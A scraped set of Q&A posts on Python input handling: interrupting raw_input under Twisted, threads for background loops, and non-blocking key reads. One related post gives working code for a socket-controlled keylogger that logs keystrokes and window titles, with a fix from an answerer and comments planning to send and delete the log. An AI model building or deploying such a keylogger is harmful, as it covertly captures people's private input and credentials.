I will refer to this explanation and this workaround:
So what I am doing is:
def interrupted(signum, stackframe):
log.warning('interrupted > Got signal: %s', signum)
menu.quitMenu = True # to stop my code
signal.signal(signal.SIGINT, interrupted) # Handle KeyboardInterrupt
The problem is that, while the menu is notified that it must stop, and will do that soon, it can not do it now since it is stucked in a raw_input:
def askUser(self):
current_date = datetime.now().isoformat(' ')
choice = raw_input('%s > ' % current_date)
return choice
So, since twisted is removing the default interrupt handler, raw_input is not stopped. I still need to press enter after ^C for it to stop.
How can I force the raw_input to be stopped, without installing the default interrupt handler, which is a source of problems in a twisted context (since twisted itself is not expecting to be interrupted)
I guess the problem is not related to raw_input only: any function taking an unbounded time (or longer than a pre-set limit), should be interrupted somehow.
Is there an accepted twisted pattern for this?
EDIT
This is the full test code:
from datetime import datetime
class Menu:
def __init__(self):
self.quitMenu = False
def showMenu(self):
print '''
A) Do A
B) Do B
'''
def askUser(self):
current_date = datetime.now().isoformat(' ')
choice = raw_input('%s > Please select option > ' % current_date)
print
return choice
def stopMe(self):
self.quitMenu = True
def alive(self):
return self.quitMenu == False
def doMenuOnce(self):
self.showMenu()
choice = self.askUser()
if not self.alive() : # Maybe somebody has tried to stop the menu while in askUser
return
if choice == 'A' : print 'A selected'
elif choice == 'B' : print 'B selected'
else : print 'ERR: choice %s not supported' % (choice)
def forever(self):
while self.alive():
self.doMenuOnce()
from twisted.internet import reactor, threads
import signal
class MenuTwisted:
def __init__(self, menu):
self.menu = menu
signal.signal(signal.SIGINT, self.interrupted) # Handle KeyboardInterrupt
def interrupted(self, signum, stackframe):
print 'Interrupted!'
self.menu.stopMe()
def doMenuOnce(self):
threads.deferToThread(self.menu.doMenuOnce).addCallback(self.forever)
def forever(self, res=None):
if self.menu.alive() :
reactor.callLater(0, self.doMenuOnce)
else :
reactor.callFromThread(reactor.stop)
def run(self):
self.forever()
reactor.run()
Which I can run in two different ways.
Normal way:
menu = Menu()
menu.forever()
Pressing ^C stops the program immediately:
A) Do A
B) Do B
2013-12-03 11:00:26.288846 > Please select option > ^CTraceback (most recent call last):
File "twisted_keyboard_interrupt.py", line 72, in <module>
menu.forever()
File "twisted_keyboard_interrupt.py", line 43, in forever
self.doMenuOnce()
File "twisted_keyboard_interrupt.py", line 34, in doMenuOnce
choice = self.askUser()
File "twisted_keyboard_interrupt.py", line 22, in askUser
choice = raw_input('%s > Please select option > ' % current_date)
KeyboardInterrupt
As expected.
Twisted way:
menu = Menu()
menutw = MenuTwisted(menu)
menutw.run()
Pressing ^C will produce:
A) Do A
B) Do B
2013-12-03 11:04:18.678219 > Please select option > ^CInterrupted!
But askUser is actually not interrupted: I still need to press enter for raw_input to finish.
The right way to deal with this is to handle console input asynchronously, rather than trying to make a blocking input function interruptable. In other words, raw_input is fundamentally the wrong solution to the problem you're attacking.
However, if you really just want to understand what's going on here, the trick is that after calling reactor.callFromThread(reactor.stop), you have to somehow prompt raw_input to exit; it's not going to normally. However, since you're running it in a thread, it's not actually interruptable at all, because only the main thread is interruptable in Python. So I think what you want may actually be impossible. I believed that perhaps closing sys.stdin might pull the rug out from under raw_input even if it were in a thread, but it seems that the underlying libraries are doing something more clever than simply reading from the FD, so closing it does no good.
Related
I am trying to make a keylogger with python sockets[educational purposes only of course]. But my question is: when I send from server to client the command activate keylogger, it will start the keylogger. But when I am finished with keylogging how can I send a 'stop keylogging' command to the slave to stop the keylogging. I was thinking of threading but really dont know what I could do with it. this is the "failing" code I made:
def mainkeylogg():
stopmess = "GO"
while stopmess == "GO":
tmpwnm = GetWindowText(GetForegroundWindow()) # get the window name .
Key = read_key();
read_key() # get key .
if len(Key) >= 2:
open("Log.txt", "a").write( # MAYBE CHANGE 'A' TO 'WB'
(f"[{tmpwnm}][{Key}]\n")) # (if user press special key) save the key with window name
else:
open("Log.txt", "a").write((f"{Key}"))
print("STOPPED THREAD")
t = threading.Thread(target=mainkeylogg)
t.start()
stopmess = (conn.recv(1024)).decode() # CAUSES THE WHILE LOOP TO CLOSE?? DOESN'T WORK
if stopmess == "STOP":
print("STOPPED")
message = "DONE"
conn.send(message.encode())
EDIT(working correct code for future people seeing this):
def mainkeylogg():
global dead
dead = False
while not dead:
tmpwnm = GetWindowText(GetForegroundWindow()) # get the window name .
Key = read_key();
read_key() # get key .
if len(Key) >= 2:
open("Log.txt", "a").write( # MAYBE CHANGE 'A' TO 'WB'
(f"[{tmpwnm}][{Key}]\n")) # (if user press special key) save the key with window name
else:
open("Log.txt", "a").write((f"{Key}"))
print("STOPPED THREAD")
t = threading.Thread(target=mainkeylogg)
t.start()
message = "STARTED KEYLOGGER"
conn.send(message.encode())
def stopkeylogger():
stopmess = (conn.recv(1024)).decode()
global dead
if stopmess == "STOP":
print("STOPPED")
dead = True
message = "STOPPED KEYLOGGER"
conn.send(message.encode())
#SEND LOG FILE
# DELETE LOG FILE
else:
print("DIDNT STOP")
message = "ERROR, DID NOT STOP KEYLOGGER"
conn.send(message.encode())
The biggest problem you have is here:
t = threading.Thread(target-mainkeylogg())
Because you added the parens, that's going to call the function immediately, in the main thread. That function won't ever return, so you don't even get to create the Thread object, much less flow on to the socket stuff. Replace that with
t = threading.Thread(target=mainkeylogg)
Pass the function, NOT the result of the function.
Beyond that, as long as you spell stopmes the same way every time (which you haven't here), the basic concept is fine. Your main thread will block waiting for word from the socket. Assuming the server actually sends "GO" as two letters without a newline, it should work.
I have a logging filter that checks for an environment variable to change and I want it to run (in the background) in a thread separate from the process that is setting the environment variable.
What I'm trying to do: every time logging.ERROR is called in my code, the user is alerted to the error and prompted on whether or not they want to continue. Separately the filter and the prompt work correctly however, when I put them together I have a problem. I need to have the filter running in the background so the code to prompt the user can run simultaneously (right now, the filter executes first and the prompt shows up after the while loop in the filter times out, at which point it is useless).
My filter code:
class ErrorFilter(logging.Filter):
def __init__(self,level):
self.level = level
thread = threading.Thread(target=self.filter,args=())
thread.daemon = True
thread.start()
def filter(self,record):
if record.levelno == self.level:
os.environ["ERROR_FLAG"] = "True"
timeout = time.time() + 60*1 #set the timeout to 1 minute
while True:
print "waiting..."
keep_going = os.environ.get("CONTINUE_FLAG")
#wait for user to respond
if keep_going == "False" or time.time() > timeout:
print "oops there's a problem, quitting."
break
if keep_going == "True":
print "Continuing"
break
os.environ["CONTINUE_FLAG"] = "None"
I have another short method that "listens" for ERROR_FLAG and then asks for input using:
def continueAsk(message, title="Warning! Continue?", yn=("Yes","No")):
yes = set(['yes','y', 'ye', '', 'canhaz'])
no = set(['no','n', 'lolzno'])
tryLimit = 0
while tryLimit < 100:
sys.stdout.write(message + ": ")
choice = raw_input().lower()
if choice in yes:
return True
elif choice in no:
return False
else:
tryLimit+=1
sys.stdout.write("Please respond with 'yes' or 'no'.")
EDIT
I've also tried using multiprocessing in my filter like this:
from multiprocessing import Process, Queue
def __init__(self,level):
self.level = level
queue = Queue()
p = Process(target=self.filter,args=("hi"))
p.start()
p.join()
I've tried setting up my filter so it runs in a different thread, but I've not had any luck so far (the filter still runs first, followed by the prompt) and I've never used multithreading before. I know this is not a traditional use of the logger, but I appreciate any input on this.
Looking at the subprocess and multiprocess documentation, I think one of those might work as well but am not sure.
I have an infinite while loop that I want to break out of when the user presses a key. Usually I use raw_input to get the user's response; however, I need raw_input to not wait for the response. I want something like this:
print 'Press enter to continue.'
while True:
# Do stuff
#
# User pressed enter, break out of loop
This should be a simple, but I can't seem to figure it out. I'm leaning towards a solution using threading, but I would rather not have to do that. How can I accomplish this?
You can use non-blocking read from stdin:
import sys
import os
import fcntl
import time
fl = fcntl.fcntl(sys.stdin.fileno(), fcntl.F_GETFL)
fcntl.fcntl(sys.stdin.fileno(), fcntl.F_SETFL, fl | os.O_NONBLOCK)
while True:
print("Waiting for user input")
try:
stdin = sys.stdin.read()
if "\n" in stdin or "\r" in stdin:
break
except IOError:
pass
time.sleep(1)
I think you can do better with msvcrt:
import msvcrt, time
i = 0
while True:
i = i + 1
if msvcrt.kbhit():
if msvcrt.getwche() == '\r':
break
time.sleep(0.1)
print(i)
Sadly, still windows-specific.
On python 3.5 you can use the following code. It can be adjusted for a specific keystroke. The while loop will keep running until the user presses a key.
import time
import threading
# set global variable flag
flag = 1
def normal():
global flag
while flag==1:
print('normal stuff')
time.sleep(2)
if flag==False:
print('The while loop is now closing')
def get_input():
global flag
keystrk=input('Press a key \n')
# thread doesn't continue until key is pressed
print('You pressed: ', keystrk)
flag=False
print('flag is now:', flag)
n=threading.Thread(target=normal)
i=threading.Thread(target=get_input)
n.start()
i.start()
I could not get some of the popular answers working. So I came up with another approach using the CTRL + C to plug in user input and imbibe a keyboard interrupt. A simple solution can be using a try-catch block,
i = 0
try:
while True:
i+=1
print(i)
sleep(1)
except:
pass
# do what you want to do after it...
I got this idea from running a number of servers like flask and django. This might be slightly different from what the OP asked, but it might help someone else who wanted a similar thing.
Using the msvcrt module as thebjorn recommended I was able to come up with something that works. The following is a basic example that will exit the loop if any key is pressed, not just enter.
import msvcrt, time
i = 0
while True:
i = i + 1
if msvcrt.kbhit():
break
time.sleep(0.1)
print i
What you need is a non-blocking raw input, if you don't want to use threads there is a simple solution like this one below where he is doing a timeout of 20 ms and then raise and exception if the user doesn't press a key, if he does then the class returns the key pressed.
import signal
class AlarmException(Exception):
pass
def alarmHandler(signum, frame):
raise AlarmException
def nonBlockingRawInput(prompt='', timeout=20):
signal.signal(signal.SIGALRM, alarmHandler)
signal.alarm(timeout)
try:
text = raw_input(prompt)
signal.alarm(0)
return text
except AlarmException:
print '\nPrompt timeout. Continuing...'
signal.signal(signal.SIGALRM, signal.SIG_IGN)
return ''
Source code
I have defined the function which ask number input from the user and returns the factorial of that number. If user wants to stop they have to press 0 and then it will exit from the loop. We can specify any specific key to input 'n' to exit from the loop.
import math
def factorial_func(n):
return math.factorial(n)
while True:
n = int(input("Please enter the number to find factorial: "))
print(factorial_func(n))
if n == 0:
exit()
I'm struggling with a issue for some time now.
I'm building a little script which uses a main loop. This is a process that needs some attention from the users. The user responds on the steps and than some magic happens with use of some functions
Beside this I want to spawn another process which monitors the computer system for some specific events like pressing specif keys. If these events occur then it will launch the same functions as when the user gives in the right values.
So I need to make two processes:
-The main loop (which allows user interaction)
-The background "event scanner", which searches for specific events and then reacts on it.
I try this by launching a main loop and a daemon multiprocessing process. The problem is that when I launch the background process it starts, but after that I does not launch the main loop.
I simplified everything a little to make it more clear:
import multiprocessing, sys, time
def main_loop():
while 1:
input = input('What kind of food do you like?')
print(input)
def test():
while 1:
time.sleep(1)
print('this should run in the background')
if __name__ == '__main__':
try:
print('hello!')
mProcess = multiprocessing.Process(target=test())
mProcess.daemon = True
mProcess.start()
#after starting main loop does not start while it prints out the test loop fine.
main_loop()
except:
sys.exit(0)
You should do
mProcess = multiprocessing.Process(target=test)
instead of
mProcess = multiprocessing.Process(target=test())
Your code actually calls test in the parent process, and that call never returns.
You can use the locking synchronization to have a better control over your program's flow. Curiously, the input function raise an EOF error, but I'm sure you can find a workaround.
import multiprocessing, sys, time
def main_loop(l):
time.sleep(4)
l.acquire()
# raise an EOFError, I don't know why .
#_input = input('What kind of food do you like?')
print(" raw input at 4 sec ")
l.release()
return
def test(l):
i=0
while i<8:
time.sleep(1)
l.acquire()
print('this should run in the background : ', i+1, 'sec')
l.release()
i+=1
return
if __name__ == '__main__':
lock = multiprocessing.Lock()
#try:
print('hello!')
mProcess = multiprocessing.Process(target=test, args = (lock, ) ).start()
inputProcess = multiprocessing.Process(target=main_loop, args = (lock,)).start()
#except:
#sys.exit(0)
I have a function foo that only stops once a condition has been met. While foo is running, I need to ask for user input the whole time (keeps asking for user input). I want them to run separately without interfering with each other.
In my example below, foo keeps printing 'Hello' and getUserInput keeps looking for user input. I want foo to keep printing hello even if i do not enter anything for user input. It will keep asking for input as long as the user does not enter letter 'e'. I have my attempt below:
import threading
from time import sleep
class test:
def __init__(self):
self.running = True
def foo(self):
while(self.running):
print 'Hello\n'
sleep(2)
def getUserInput(self):
x = ''
while(x != 'e'):
x = raw_input('Enter value: ')
self.running = False
def go(self):
th1 = threading.Thread(target=self.foo)
th2 = threading.Thread(target=self.getUserInput)
th1.start()
th2.start()
t = test()
t.go()
My code prints out the first hello and asks for input but nothing after that. What am I doing wrong? Thanks for your help in advance.
Update: The opener was running his code on Windows in IDLE. Regarding I/O it behaves differently than a shell or the Windows command line. His code works on the Windows command line.
In principle, your code works for me. I am running Python 2.6.5.
Several comments here:
1) In your case it would be fine to only have two threads: the main thread and another one. However, it will also work with three. It's just that your main thread does nothing else than waiting for the other threads to finish.
2) You should to explicitly join() all threads you spawn. You do this in the main thread before terminating it. Keep record of the threads you spawn (e.g. in a list threads) and then join them at the end of your program (e.g. for t in threads: t.join()).
3) You share the variable self.running between threads. It is fine in this case, as one thread only reads it and another one only writes it. In general, you need to be very careful with shared variables and acquire a lock before changing it.
4) You should catch the KeyboardInterrupt exception in the main thread and find a way to communicate to your other threads to terminate :)
5) Use lowercase method names, so instead of getUserInput call it get_user_input. Use uppercase class names and inherit from object: class Test(object):
This is a running example:
import threading
from time import sleep
def main():
t = Test()
t.go()
try:
join_threads(t.threads)
except KeyboardInterrupt:
print "\nKeyboardInterrupt catched."
print "Terminate main thread."
print "If only daemonic threads are left, terminate whole program."
class Test(object):
def __init__(self):
self.running = True
self.threads = []
def foo(self):
while(self.running):
print '\nHello\n'
sleep(2)
def get_user_input(self):
while True:
x = raw_input("Enter 'e' for exit: ")
if x.lower() == 'e':
self.running = False
break
def go(self):
t1 = threading.Thread(target=self.foo)
t2 = threading.Thread(target=self.get_user_input)
# Make threads daemonic, i.e. terminate them when main thread
# terminates. From: http://stackoverflow.com/a/3788243/145400
t1.daemon = True
t2.daemon = True
t1.start()
t2.start()
self.threads.append(t1)
self.threads.append(t2)
def join_threads(threads):
"""
Join threads in interruptable fashion.
From http://stackoverflow.com/a/9790882/145400
"""
for t in threads:
while t.isAlive():
t.join(5)
if __name__ == "__main__":
main()
When typing e or E, the program ends after a short delay (as intended by you). When pressing ctrl+c, it immediately terminates. Making a program that uses threading responsive to exceptions is a bit trickier than expected. I have included important references in the source above.
This is how it looks like during runtime:
$ python supertest.py
Hello
Enter 'e' for exit:
Hello
Hello
Hello
e
$